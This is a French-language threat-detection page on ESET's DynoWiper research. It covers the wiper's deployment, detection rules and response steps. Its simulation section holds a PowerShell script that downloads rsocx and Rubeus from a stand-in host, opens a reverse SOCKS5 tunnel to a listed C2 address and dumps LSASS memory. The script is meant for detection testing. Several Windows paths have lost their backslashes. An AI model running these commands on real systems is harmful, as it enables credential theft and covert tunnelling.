Mise à jour de la recherche ESET sur DynoWiper : Analyse technique et attribution
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
DynoWiper est un wiper destructeur utilisé contre une organisation du secteur énergétique en Pologne, affectant plusieurs points de terminaison à travers les opérations. Les exécutables ont été mis en scène dans un emplacement réseau partagé et lancés directement depuis ce partage. ESET attribue l’activité à Sandworm avec une confiance moyenne. Une fois exécuté, le malware corrompt les fichiers ciblés avec des octets aléatoires et déclenche un redémarrage forcé pour compléter l’impact.
Enquête
ESET a récupéré trois échantillons—schtask.exe, schtask2.exe, et _update.exe—déposés sous C:inetpubpub. Les chemins PDB intégrés suggèrent que les binaires ont été compilés dans un environnement Vagrant. L’ingénierie inverse a révélé une routine d’effacement en trois étapes, avec deux variantes insérant une pause de cinq secondes entre les phases. Les artefacts post-compromission incluaient également l’outil Kerberos Rubeus et un proxy SOCKS5 rsocx au sein du réseau de la victime.
Atténuation
ESET PROTECT sur les systèmes de la victime a bloqué les trois variantes, limitant les dommages. Réduisez l’exposition en empêchant la création de tâches planifiées non autorisées et en surveillant les écritures inattendues dans les répertoires partagés. Ajoutez une liste blanche d’applications et interdisez l’exécution depuis des partages réseau autant que possible.
Réponse
Identifiez et isolez les hôtes qui exécutent schtask.exe, schtask2.exe, ou *_update.exe à partir d’un partage. Préservez les preuves volatiles, examinez les tâches planifiées et les traces de déploiement PowerShell, et retirez les outils tels que Rubeus et rsocx. Complétez une analyse forensique complète et restaurez les données à partir de sauvegardes propres vérifiées.
Flux d’Attaque
Détections
Opération Potentielle d’Auto-suppression de Malware ou de Dissimilation Stderr (via la ligne de commande)
Voir
Arrêt Utilisé Pour Forcer l’arrêt ou le Redémarrage d’un Système (via la ligne de commande)
Voir
IOC (HashSha1) à détecter : Mise à jour DynoWiper de ESET Research : Analyse technique et attribution
Voir
IOC (SourceIP) à détecter : Mise à jour DynoWiper de ESET Research : Analyse technique et attribution
Voir
IOC (DestinationIP) à détecter : Mise à jour DynoWiper de ESET Research : Analyse technique et attribution
Voir
Détection du Déploiement de DynoWiper via l’Exécution de Tâches Planifiées [Événement de Fichier Windows]
Voir
Détection d’Outils Malveillants et de Dump de Mémoire LSASS [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification de Télémétrie et de Baseline Pré-vol doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à un mauvais diagnostic.
-
Récit d’Attaque & Commandes:
- Établir un proxy SOCKS5 inversé en utilisant
rsocx.exe. L’adversaire télécharge le binaire depuis un serveur externe, le place dans%TEMP%, et l’exécute avec l’argument-r 31.172.71.5:8008pour créer un tunnel inverse vers l’hôte C2. - Abuser des tickets Kerberos avec
rubeus.exe. L’outil est exécuté pour demander un ticket-grant de ticket Kerberos (TGT) pour le compte de l’administrateur du domaine et ensuite forger un ticket de service (s4u2self). - Faire un dump de mémoire LSASS en utilisant
procdump.exe(une alternative courante au Gestionnaire de tâches) pour capturer le matériel d’identification. Sysmon enregistre un événement d’Accès au Processus où le processus de l’attaquantprocdump.exeaccède àlsass.exeavec le masque d’accès accordé0x1010(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
- Établir un proxy SOCKS5 inversé en utilisant
-
Script de Test de Régression :
# ------------------------------------------------------------- # Script de simulation – déclenche la règle Sigma pour rsocx, rubeus, # et dump LSASS. Exécutez avec des privilèges administratifs. # ------------------------------------------------------------- # 1. Déployez rsocx.exe (proxy SOCKS5 inversé) $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. Déployez rubeus.exe (abus de Kerberos) $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. Faire un dump de LSASS using procdump (requiert Sysinternals) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "Simulation completed. Check SIEM for alerts." -
Commandes de Nettoyage :
# Terminer tous les processus malveillants persistants Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les binaires et les fichiers dump Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # Optionnellement, supprimer les répertoires de téléchargement temporaires Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Cleanup finished."